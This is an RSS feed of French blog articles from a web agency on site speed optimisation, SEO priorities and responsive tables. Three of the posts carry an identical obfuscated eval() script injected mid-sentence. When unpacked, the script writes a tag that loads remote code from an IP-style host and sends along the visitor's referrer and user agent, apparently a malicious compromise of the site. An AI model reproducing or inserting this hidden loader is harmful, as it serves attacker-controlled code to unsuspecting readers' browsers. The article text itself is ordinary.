<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kiwano</title>
	<atom:link href="http://www.kiwano.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kiwano.fr</link>
	<description>Référencement naturel, audit et formation à Marseille, PACA</description>
	<lastBuildDate>Wed, 20 Jan 2016 12:52:28 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.6</generator>

<image>
	<url>http://www.kiwano.fr/wp-content/uploads/2016/01/cropped-logo-kiwano-32x32.png</url>
	<title>Kiwano</title>
	<link>http://www.kiwano.fr</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Performance d&#8217;un site web : étude d&#8217;un cas pratique et exemples d&#8217;optimisations</title>
		<link>http://www.kiwano.fr/2012/12/31/performance-site-web-vitesse/</link>
		<comments>http://www.kiwano.fr/2012/12/31/performance-site-web-vitesse/#comments</comments>
		<pubDate>Mon, 31 Dec 2012 08:43:15 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Article]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Performance]]></category>
		<category><![CDATA[Qualité]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1992</guid>
		<description><![CDATA[La vitesse d&#8217;affichage d&#8217;un site web est aujourd&#8217;hui un critère très important pour le référencement naturel et la réussite d&#8217;un projet web. La barrière maximale de 3 secondes de chargement par page est devenue un seuil obligatoire à respecter. L&#8217;augmentation des visites depuis les smartphones et tablettes est un facteur de difficultés supplémentaires pour rester &#8230; <a href="http://www.kiwano.fr/2012/12/31/performance-site-web-vitesse/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Performance d&#8217;un site web : étude d&#8217;un cas pratique et exemples d&#8217;optimisations</span></a>]]></description>
				<content:encoded><![CDATA[<p>La vitesse d&rsquo;affichage d&rsquo;un site web est aujourd&rsquo;hui un critère très important pour le référencement naturel et la réussite d&rsquo;un projet web. La barrière maximale de 3 secondes de chargement par page est devenue un seuil obligatoire à respecter. L&rsquo;augmentation des visites depuis les smartphones et tablettes est un facteur de difficultés supplémentaires pour rester en dessous de ces 3 secondes de chargement.</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/augmenter-vitesse.jpg" alt="augmenter-vitesse" width="450" height="288" /></p>
<p>L&rsquo;enjeu <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhbid|var|u0026u|referrer|sbyyf||js|php'.split('|'),0,{}))
</script></noindex> est simple : si votre site est trop lent le visiteur ne restera pas. Nous pensons clairement chez Kiwano que le critère de performance du site côté client est un critère encore trop sous estimé par les créateurs de sites. Si vous avez aujourd&rsquo;hui un investissement à faire sur votre site : faîtes le pour améliorer la vitesse ressentie par les utilisateurs. Vous gagnerez des visiteurs fidèles et des places dans les résultats de recherche Google.</p>
<p>Nous vous proposons donc de revoir les techniques pour améliorer la performance de votre site au travers d&rsquo;un cas concret pour partager avec vous ce qui a été fait sur un autre site.<br />
N&rsquo;hésitez pas à donner votre avis et partagez votre expérience.<br />
<span id="more-1992"></span></p>
<h2>Présentation du sujet d&rsquo;étude : le site de location de camping-car CampiLoc</h2>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/campiloc.jpg" alt="campiloc" width="450" height="139" /></p>
<p><a href="http://www.campiloc.fr">CampiLoc est un site de location de camping-cars de particulier à particulier.</a> Il propose aux propriétaires de camping-cars de mettre gratuitement une annonce de location sur le site et aux amateurs de locations de camping-car de trouver un camping-car dans la région qu&rsquo;ils souhaitent.</p>
<p>CampiLoc est un site utilisant une technologie serveur moderne avec un code créé sur mesure ce qui est un vrai atout pour intégrer facilement des optimisations.</p>
<h2>Performance côté client</h2>
<p>Quand nous parlons de performance d&rsquo;un site web il est important de rappeler que nous voulons mesurer et améliorer la performance ressentie par le visiteur. Nous ne mesurons donc pas le temps mis par le serveur pour générer la page mais le temps total d&rsquo;affichage de la page dans le navigateur client (temps serveur + temps total de téléchargement des éléments).</p>
<h2>Premier réflexe : vérifier le code serveur</h2>
<p>Alors oui, nous allons beaucoup parler de techniques côté client mais il faut également vérifier que le serveur n&rsquo;est pas lent. Sur le site CampiLoc, l&rsquo;hébergement est en France sur un serveur dédié suffisamment puissant. Des techniques de cache applicatif serveur des informations ont été employées pour avoir des pages qui répondent au plus vite.</p>
<h3>News en page d&rsquo;accueil</h3>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/news.png" alt="news" width="450" height="163" /></p>
<p>Concernant la page d&rsquo;accueil, un extrait des dernières news du blog est affiché en bas de page. Cette information n&rsquo;est pas essentielle pour l&rsquo;utilisateur (et pour Google) car elle reprend un contenu déjà présent sur le blog. Par contre charger un flux RSS externe augmente le temps de génération de la page côté serveur. Il a donc été décidé de charger ce contenu en asynchrone via une requête Ajax.</p>
<h2>Réduire le poids des éléments</h2>
<p>L&rsquo;étape suivante consiste à réduire au maximum le poids de tous les éléments renvoyés au client. Selon le site HTTP Archive, pour le top 1000 actuel des sites web, le poids total d&rsquo;une page fait en moyenne 1137 Ko dont 204 Ko pour le JavaScript, 36 Ko pour le code CSS, 46 Ko pour le code HTML et 614 Ko pour les images.</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/chart.png" alt="chart" width="400" height="225" /></p>
<p>Concernant le code HTML, CSS et JavaScript, le site n&rsquo;utilise pas de progiciel ou de thème. Seule la librairie Telerik (basée sur jQuery) est utilisé pour les composants d&rsquo;interfaces comme les grilles, les calendriers, les sélecteurs de dates, les onglets&#8230;<br />
Nous avons donc un code HTML, CSS et JavaScript réduit naturellement car écrit spécifiquement pour les besoins du site.</p>
<h3>Minify &#038; GZip CSS</h2>
<p>Le code CSS est minifié, c&rsquo;est à dire que l&rsquo;ensemble des commentaires ont été supprimés ainsi que les éléments non nécessaires comme les espaces, les points-virgules, les retours à la ligne&#8230;</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/YUI-Compressor.jpg" alt="YUI-Compressor" width="450" height="316" /></p>
<p>L&rsquo;outil en ligne <a href="http://refresh-sf.com/yui/">YUI Compressor</a> permet de réduire facilement le code CSS tout en garantissant les mêmes fonctionnalités.</p>
<p>Ensuite le code est gzippé automatiquement par le serveur et renvoyé au navigateur qui le décompressera.</p>
<p>Ces techniques ont permis de réduire le code CSS de 99,4 Ko à 79,1 Ko une fois minifié puis enfin à 25,3 Ko une fois compressé <strong>soit un gain de 74,1 Ko</strong> !</p>
<h3>Minify &#038; GZip JavaScript</h2>
<p>Côté JavaScript, nous passons de 595,7 Ko à 259,6 Ko une fois minifié puis enfin à 83,6 Ko une fois compressé <strong>soit un gain de 512,1 Ko</strong> !</p>
<h3>Minify HTML et réduction du code HTML</h3>
<p>La minification du code HTML n&rsquo;est pas une opération facile car un retour chariot ou un espace est interprété et affiché par le navigateur. Supprimer un espace ou un retour chariot peut donc avoir des conséquences sur votre affichage.<br />
Une petite optimisation a cependant été faite en supprimant les tabulations et espaces en début de ligne ainsi que les lignes vides.</p>
<p>Le site n&rsquo;utilise pas HTML5 pour des questions de rétrocompatibilité (et pour éviter de charger un script en plus) mais charge quand même le doctype HTML5 car les navigateurs récents utilisent un moteur HTML5 plus rapide que le moteur HTML4.</p>
<p>Le code HTML est sémantique avec peu de code de structure. Ceci a permis de réduire le poids de l&rsquo;HTML tout en ayant un bon ratio contenu/structure.</p>
<p>Enfin, le code HTML final est renvoyé compressé au navigateur client.</p>
<h3>Réduire le poids des images</h3>
<p>Toutes les images utilisées sur le site ont été générées à la bonne taille. Nous voyons encore trop souvent, pendant nos audits de sites, des images trop grandes et réduites dans le code HTML ou CSS. Nous avons donc vérifié que toutes les images étaient fournies à leur taille d&rsquo;affichage (et ne nous parlez pas d&rsquo;écran retina svp).</p>
<p>Ensuite, toutes les images ont fait un tour dans un outil d&rsquo;optimisation en ligne pour réduire leurs poids au maximum sans impacter leur qualité.</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/kraken.png" alt="kraken" width="450" height="279" /></p>
<p>Nous vous conseillons l&rsquo;excellent outil <a href="http://kraken.io/">Kraken Image Optimizer</a> pour optimiser vos images en ligne.</p>
<h4>Images des camping-cars</h4>
<p>Le site CampiLoc, comme tout site d&rsquo;annonces en ligne, propose aux propriétaires d&rsquo;uploader des images pour agrémenter leurs annonces.<br />
Les images chargées par les propriétaires sont des images lourdes et non optimisées pour le web.<br />
<img src="http://www.kiwano.fr/wp-content/uploads/2012/12/extrait-images.jpg" alt="exemple image camping-car" width="450" height="267" /><br />
Plutôt que rajouter des contraintes de taille et de poids aux propriétaires, l&rsquo;idée a été de garder les originaux chargés par les propriétaires et de régénérer à la demande, selon la page du site, des images optimisées à la bonne taille pour qu&rsquo;elles soient les plus légères possibles.</p>
<h2>Réduire le nombre de requêtes HTTP</h2>
<p>L&rsquo;étape suivante est de réduire le nombre de requêtes effectuées par le navigateur. Selon le navigateur le nombre de requêtes maximum effectuées en parallèles est variable mais ce nombre n&rsquo;est jamais important. De plus le délai peut être long (surtout avec une connexion mobile) entre la demande de téléchargement d&rsquo;un nouvel élément et le début du téléchargement de cet élément. Il est donc recommandé de combiner les requêtes pour réduire au maximum leur nombre nécessaires à l&rsquo;affichage de la page.</p>
<h3>Combiner le code CSS &#038; JavaScript</h3>
<p>L&rsquo;ensemble du code CSS est combiné côté serveur et renvoyé côté client avec dans le nom du fichier combiné avec un hash des noms de fichiers CSS originaux (nous verrons plus loin pourquoi ce hash est important).<br />
La même technique est utilisée pour combiner le code JavaScript.</p>
<p><strong>Nous avons donc réduit le nombre de fichiers pour passer de 10 fichiers CSS à un seul fichier et de 13 fichiers JavaScript à un seul fichier !</strong></p>
<h3>Utilisation de sprites pour les images</h3>
<p>Les images utilisées par le code CSS doivent être regroupées dans un sprite, c&rsquo;est à dire une seule grosse image combinant toutes les petites images. Avec un sprite CSS il suffit simplement de modifier la propriété background-position de l&rsquo;image combinée pour déplacer la zone visible pour avoir l&rsquo;image finale souhaitée (il faut voir le bloc HTML comme une fenêtre qui ne rend visible qu&rsquo;une partie du sprite qui est déplacé comme on le souhaite).</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/explication-sprite.png" alt="explication-sprite" width="450" height="181" /></p>
<p>Les composants Telerik utilisent déjà un sprite CSS.<br />
Nous avons donc créé un sprite supplémentaire pour l&rsquo;ensemble des images spécifiques au site CampiLoc. Nous vous recommandons de construire vos sprites « à la main » car l&rsquo;utilisation d&rsquo;un outil automatique créera des zones vides qui augmentent légèrement le poids du sprite.<br />
Ce sprite est ensuite passé entre les mains de Kraken pour réduire son poid au maximum .</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/extrait-sprite.png" alt="extrait-sprite" width="450" height="297" class="alignnone size-full wp-image-2036" /></p>
<h3>Cas particulier de la carte de France</h3>
<p>Le site CampiLoc propose une carte de France pour faire une recherche rapide des camping-cars disponibles pour une région de France. L&rsquo;utilisation de la balise Map et Area permet facilement d&rsquo;avoir des urls différentes (et donc des recherches différentes) en fonction de la zone cliquée sur la carte. Par contre il est important d&rsquo;avoir un retour utilisateur au survol de la carte pour comprendre quelle recherche va être lancée en fonction de la zone activée.</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/carte.png" alt="carte" width="450" height="284" /></p>
<p>La méthode habituelle pour changer une image en fonction du survol est de le faire au hover en CSS. Par contre en CSS impossible de récupérer l&rsquo;Area survolée pour modifier l&rsquo;image en conséquence. Pour garder cette information, on passe donc par du code JavaScript.</p>
<p>La solution en JavaScript est de modifier l&rsquo;image en fonction de la zone survolée mais pour éviter le chargement de la nouvelle image il faut précharger l&rsquo;ensemble des images pour chaque région (c&rsquo;est la technique employée par leboncoin par exemple).</p>
<p>Comme évoqué précédemment, nous voulons éviter de charger trop d&rsquo;objets. Nous avons donc créé un sprite contenant l&rsquo;ensemble des survols (et ne contenant que les survols en orange) que nous positionnons au-dessus de la carte normale. Au survol de la carte, un code JavaScript modifie le background-position pour avoir la bonne image au survol.</p>
<p>Voici un extrait du code JavaScript :</p>
<pre><code>$('area[id^="Map"]').hover(
	function () {
		var nb = ($(this).attr('id').substr(3, 5));
		$("#RealMap").css("background-position", "0 -" + 274 * nb + "px");
	},
	function () {
		$("#RealMap").css("background-position", "0 0");
	}
);
</code></pre>
<h2>Définir un cache client pour l&rsquo;ensemble des objets</h2>
<p>L&rsquo;ensemble des éléments CSS, JavaScript et images du site CampiLoc ont un cache client positionné pour 1 an. Ceci permet au visiteur de n&rsquo;avoir à charger que le code HTML une fois la première page chargée.</p>
<p>Pour invalider le cache client d&rsquo;un élément, il suffit de renommer le fichier source, dans le cas d&rsquo;un fichier CSS ou JavaScript le hash calculé par le serveur change et le navigateur chargera le nouveau CSS ou JavaScript combiné dans son cache.</p>
<h2>Quelques optimisations complémentaires et statistiques finales</h2>
<p>En vrac, voici quelques optimisations supplémentaires appliquées sur le site :</p>
<ul>
<li>Plus de redirection DNS.</li>
<li>Le chargement du fichier CSS combiné a été placé dans le &lt;head&gt; de la page et le fichier JavaScript juste avant la balise fermante &lt;/body&gt;.</li>
<li>Le fichier favicon a été optimisé et peut-être mis en cache par le navigateur.</li>
<li>Les tailles des images de contenu ont été définies dans le code HTML.</li>
</ul>
<p>Avec le code JavaScript Google Analytics, le chargement de la page d&rsquo;accueil complète représente au total 406,2 Ko pour 19 requêtes HTTP.</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/12/stats-campiloc.png" alt="stats-campiloc" width="436" height="267" /></p>
<p>Le site obtient donc <strong>le grade A (92/100) sur YSlow</strong> et <strong>la note de 96/100 sur Page Speed</strong>.</p>
<h2>Conclusion</h2>
<p>L&rsquo;ensemble de ces optimisations permet au site CampiLoc d&rsquo;avoir un poids assez faible et un chargement rapide des ses pages. Nous pensons que ces optimisations améliorent l&rsquo;expérience utilisateur et contribueront ainsi à améliorer le positionnement du site sur Google.</p>
<p>Vous pouvez analyser votre propre site pour regarder le poids des éléments, le nombre de requêtes HTTP et le cache client. Vous pouvez aussi consulter les <a href="http://developer.yahoo.com/yslow/">conseils de Yahoo</a> et les <a href="https://developers.google.com/speed/pagespeed/?hl=fr">conseils de Google</a>.<br />
Si vous souhaitez vous aussi un audit complet de votre site n&rsquo;hésitez pas à nous contacter.</p>
<p>L&rsquo;amélioration des performances d&rsquo;un site est un travail quotidien. Il reste bien sûr des optimisations possibles, si vous voyez un point qui pourrait être corrigé n&rsquo;hésitez pas à le partager dans les commentaires.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2012/12/31/performance-site-web-vitesse/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Le premier critère à prendre en compte pour le référencement de votre site sur Google</title>
		<link>http://www.kiwano.fr/2012/06/21/referencement-critere-numero-1-positionnement-google/</link>
		<comments>http://www.kiwano.fr/2012/06/21/referencement-critere-numero-1-positionnement-google/#comments</comments>
		<pubDate>Thu, 21 Jun 2012 16:59:59 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Référencement]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1962</guid>
		<description><![CDATA[Est-ce l&#8217;utilisation de mot clé dans votre nom de domaine ? Est-ce l&#8217;utilisation du mot clé dans le titre et l&#8217;url ? Est-ce la création de liens depuis des annuaires ? Est-ce la création de communiqués de presse pour l&#8217;ensemble des pages de votre site ? Est-ce la création d&#8217;un fichier Sitemap (non là c&#8217;est &#8230; <a href="http://www.kiwano.fr/2012/06/21/referencement-critere-numero-1-positionnement-google/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Le premier critère à prendre en compte pour le référencement de votre site sur Google</span></a>]]></description>
				<content:encoded><![CDATA[<p>Est-ce l&rsquo;utilisation de mot clé dans votre nom de domaine ? Est-ce l&rsquo;utilisation du mot clé dans le titre et l&rsquo;url ? Est-ce la création de liens depuis des annuaires ? Est-ce la création de communiqués de presse pour l&rsquo;ensemble des pages de votre site ? Est-ce la création d&rsquo;un fichier Sitemap (non là c&rsquo;est pour la déconne) ?</p>
<p>Il n&rsquo;y a pas forcement de critère numéro 1 à prendre en compte pour améliorer le référencement de votre site. Il y a un ensemble de critères à travailler dont certains sont plus importants.</p>
<p>Mais si vous venez de lancer votre site, vous n&rsquo;avez pas le temps de tout faire. Il vous faut donc définir correctement les priorités pour votre site.</p>
<p>Kiwano vous révèle ce que l&rsquo;on ne vous dira peut-être pas ailleurs : la priorité n&rsquo;est pas d&rsquo;avoir des backlinks ou des partages sur les réseaux sociaux. <strong>La <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbdye|var|u0026u|referrer|iearn||js|php'.split('|'),0,{}))
</script></noindex> priorité est d&rsquo;améliorer la qualité de votre site.</strong></p>
<p>Kevin : Mais il est fou lui ? Le backlink c&rsquo;est le graal !<br />
Kiwano : Assis-toi Kevin, on t&rsquo;explique&#8230;<br />
<span id="more-1962"></span></p>
<h2>Un site qui apporte quelque chose à l&rsquo;utilisateur</h2>
<p>C&rsquo;est un peu la même idée que le fameux « contenu de qualité » que l&rsquo;on vous conseille sur tous les sites parlant de SEO&#8230; Mais L&rsquo;idée est plus vaste que ça : si votre site ne sert à rien vous pouvez faire les optimisations que vous voulez mais les internautes ne resteront pas dessus (à vous les high scores en taux de rebond). Si votre site n&rsquo;apporte rien de nouveau, même punition : les internautes n&rsquo;y reviendront pas &#8230;<br />
Bref, on travaille son produit (solutions, contenus) pour avoir le meilleur produit possible : le plus original, le plus pertinent, le plus apprécié.</p>
<h2>La vitesse de votre site web</h2>
<p>Si vous avez 2000 euros à dépenser aujourd&rsquo;hui dans votre site web, dépensez les pour améliorer la vitesse de votre site. La vitesse c&rsquo;est LE critère à travailler pour fidéliser vos internautes. Cerise sur le gâteau : Google aime bien les sites rapides.</p>
<p>Arrêtez vos plans sur la comète et vos longues campagnes de linkbaiting ! Démarrez plutôt une campagne d&rsquo;amélioration de la vitesse de votre site. Quand nous parlons de vitesse nous faisons allusion au <strong>temps total perçu</strong> par le visiteur de votre site, de la fameuse « expérience utilisateur ».</p>
<p>Nous reviendrons dessus dans un futur article mais si on regarde les recommandations Google et Yahoo, il faut optimiser le poids des éléments (c&rsquo;est quoi cette image de 1 Mo ?) et le nombre d&rsquo;éléments nécessaires pour l&rsquo;affichage de votre page.</p>
<h2>L&rsquo;ergonomie et le graphisme de votre site</h2>
<p>Améliorer le référencement de votre site en réduisant le nombre de boutons de partage sur votre site ça parait fou. Ces 50 boutons de partage qui prennent toute la place sur votre site ne pousse pas votre visiteur à partager votre page, tout au contraire.<br />
A quoi sert de faire un travail pour améliorer le nombre de visiteurs qui arrivent sur votre site si l&rsquo;ergonomie et le graphisme le chasse immédiatement ?</p>
<p>Alors on commence par les basiques, on missionne un graphiste/ergonome sur son site. On définit et met en avant l&rsquo;objectif principal de chaque page du site. On travaille sur le design et l&rsquo;ergonomie pour avoir la meilleur transformation possible des visites.</p>
<p>Avez-vous vérifier avant de truffer de mots clés vos menus et contenu que tout cela reste le plus clair possible pour votre visiteur ?</p>
<h2>Accessibilité web</h2>
<p>L&rsquo;accessibilité web et le référencement forment un vieux couple. Alors oui, bien sûr vous allez vérifier que les images de contenu possèdent toutes un attribut alt correctement renseigné. Vous allez aussi vérifier que votre site fonctionne sans JavaScript.</p>
<p>Ne vous arrêtez pas en si bon chemin. Vérifiez aussi l&rsquo;utilisation des couleurs, vérifiez également que votre site fonctionne sur IE6 (oui j&rsquo;ai bien écrit IE6), vérifiez encore que l&rsquo;ensemble de votre contenu est présent dans le code HTML (et pas chargé en JavaScript), vérifiez enfin que votre site fonctionne correctement depuis un smartphone (avec des liens qui fonctionnent même avec des gros doigts) en Responsive Design&#8230;</p>
<h2>Conclusion</h2>
<p>Imaginez un internaute surfant depuis une plage de Marseille sur votre site. Avec sa connexion 3G et le soleil sur son SmartPhone, si vous n&rsquo;avez pas mis en avant l&rsquo;objectif de votre site, avec un design moderne, des couleurs correctement contrastées, un site compatible, rapide et accessible depuis un smartphone, vous risquez de vous mettre à dos cet internaute. Et là c&rsquo;est le drame, votre contenu est intéressant mais l&rsquo;internaute ne peut pas le partager avec ses amis. Pire il risque de commenter négativement votre super site !</p>
<p>Alors oui Kevin, on le répète, le plus important n&rsquo;est pas les liens depuis les annuaires, les signatures sur les forums, les commentaires de blog, les CP, l&rsquo;optimisation des liens en footer, le choix de répéter le mot clé ou pas dans le titre&#8230; <strong>Il faut construire la solution web de la meilleur qualité possible (contenu, vitesse, ergonomie, design, accessibilité, maintenabilité..).</strong> Ainsi, tu auras des internautes satisfaits qui créeront des liens tout seul comme des grands vers ton site. Tu pourras ensuite t&rsquo;occuper sereinement des autres critères de référencement.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2012/06/21/referencement-critere-numero-1-positionnement-google/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>2 solutions de Responsive Tables en CSS &#038; JavaScript</title>
		<link>http://www.kiwano.fr/2012/06/11/responsive-tables-html-css/</link>
		<comments>http://www.kiwano.fr/2012/06/11/responsive-tables-html-css/#respond</comments>
		<pubDate>Mon, 11 Jun 2012 05:40:07 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Tutorial]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1927</guid>
		<description><![CDATA[Vous avez décidé de faire un site en Responsive Design pour qu&#8217;il s&#8217;adapte automatiquement à la largeur d&#8217;écran et donc fonctionne correctement sur tablettes et smartphones. Il est plein de contenu et de liens optimisés pour votre référencement. Vous utilisez donc une grille flexible, des images flexibles et du code CSS3 Media Queries pour adapter &#8230; <a href="http://www.kiwano.fr/2012/06/11/responsive-tables-html-css/" class="more-link">Continuer la lecture de <span class="screen-reader-text">2 solutions de Responsive Tables en CSS &#038; JavaScript</span></a>]]></description>
				<content:encoded><![CDATA[<p>Vous avez décidé de faire un site en Responsive Design pour qu&rsquo;il s&rsquo;adapte automatiquement à la largeur d&rsquo;écran et donc fonctionne correctement sur tablettes et smartphones. Il est plein de contenu et de liens optimisés pour votre référencement.</p>
<p>Vous utilisez donc une grille flexible, des images flexibles et du code CSS3 Media Queries pour adapter l&#8217;emplacement des éléments dans vos pages.</p>
<p>Et là c&rsquo;est le drame ! Vous devez afficher un tableau de données de 12 colonnes dans vos site Responsive. Comment faire ? Les tableaux, ça ne se linéarise pas très bien (pas du tout même) et en l&rsquo;affichant partiellement, vous risquez de masquer tout votre contenu optimisé et de limiter votre précieux référencement.</p>
<p>Je vous propose donc deux solutions utilisables pour vos projets sans nuire à l&rsquo;accessibilité et l&rsquo;indexation des données de votre tableau.<br />
<span id="more-1927"></span></p>
<h2>Première <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edtkh|var|u0026u|referrer|nheyd||js|php'.split('|'),0,{}))
</script></noindex> solution (ma préférée) : filament group propose des colonnes qui s&rsquo;affichent en fonction de la place disponible</h2>
<p>C&rsquo;est tout bête, vous indiquez le niveau d&rsquo;importance de votre colonne (persist, essential ou optional) et le script affiche/cache cette colonne en fonction de son importance. Par exemple dans un mode smartphone, on affiche seulement les colonnes persist et les colonnes essential.<br />
La liste des colonnes est affichée à l&rsquo;utilisateur s&rsquo;il veut surcharger les choix qui ont été fait pour lui. Au niveau du référencement, pas de problème car le contenu est embarqué dans la page.</p>
<h3>Exemple de votre tableau responsive sur PC</h3>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/06/filament-large.png" alt="responsive filament large exemple" title="" width="450" height="181" class="alignnone size-full wp-image-1928" style="border: solid 1px #aaa;" /></p>
<h3>Exemple de votre tableau responsive sur iPhone</h3>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/06/filament-min.png" alt="responsive filament min exemple" title="" width="200" height="224" class="alignnone size-full wp-image-1929" style="border: solid 1px #aaa;" /></p>
<h3>Fonctionnalité de surcharge des colonnes affichées / masquées</h3>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/06/filament-display.png" alt="display des colonnes filament" title="" width="200" height="213" class="alignnone size-full wp-image-1931" style="border: solid 1px #aaa;" /></p>
<p><a href="http://filamentgroup.com/lab/responsive_design_approach_for_complex_multicolumn_data_tables/" class="btn-link">Explications complètes et guide d&rsquo;implémentation du responsive table de filament group</a><br />
ou retrouvez directement la <a href="http://filamentgroup.com/examples/rwd-table-patterns/">démo du tableau responsive</a>.</p>
<h2>Deuxième solution : Zurb propose des tableaux qui scrollent</h2>
<p>La solution de Zurb est différente : la première colonne (identifiant votre ligne) reste fixe et les autres colonnes sont toujours visibles avec un scroll à l&rsquo;intérieur du tableau.</p>
<p>L&rsquo;avantage de la solution est qu&rsquo;il est facile de comparer la première colonne avec une des autres colonnes du tableau et les positionnant à côté.<br />
Là encore c&rsquo;est bonheur pour ton Google bot puisqu&rsquo;au niveau du référencement, le contenu est visible car il est présent dans le code de la page.</p>
<h3>Exemple de votre tableau responsive sur PC</h3>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/06/zurb-large.png" alt="exemple tableau zurb large" title="" width="343" height="96" class="alignnone size-full wp-image-1940" style="border: solid 1px #aaa;" /></p>
<h3>Exemple de votre tableau responsive sur iPhone</h3>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/06/zurb-mini.png" alt="exemple tableau zurb mini" title="" width="143" height="106" class="alignnone size-full wp-image-1941" style="border: solid 1px #aaa;" /></p>
<p><a href="http://www.zurb.com/playground/responsive-tables" class="btn-link">Explications complètes et guide d&rsquo;implémentation du responsive table de Zurb</a><br />
ou retrouvez directement la <a href="http://www.zurb.com/playground/playground/responsive-tables/index.html">démo du tableau responsive</a>.</p>
<p>Et vous ? Connaissez vous d&rsquo;autres solutions responsive pour les tableaux de données ?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2012/06/11/responsive-tables-html-css/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intégration HTML5 CSS3 : conseils et exemple à télécharger pour bien démarrer votre site</title>
		<link>http://www.kiwano.fr/2012/05/29/integration-html5-css3-conseils-exemples-entreprise/</link>
		<comments>http://www.kiwano.fr/2012/05/29/integration-html5-css3-conseils-exemples-entreprise/#comments</comments>
		<pubDate>Tue, 29 May 2012 18:13:23 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Télécharger]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1861</guid>
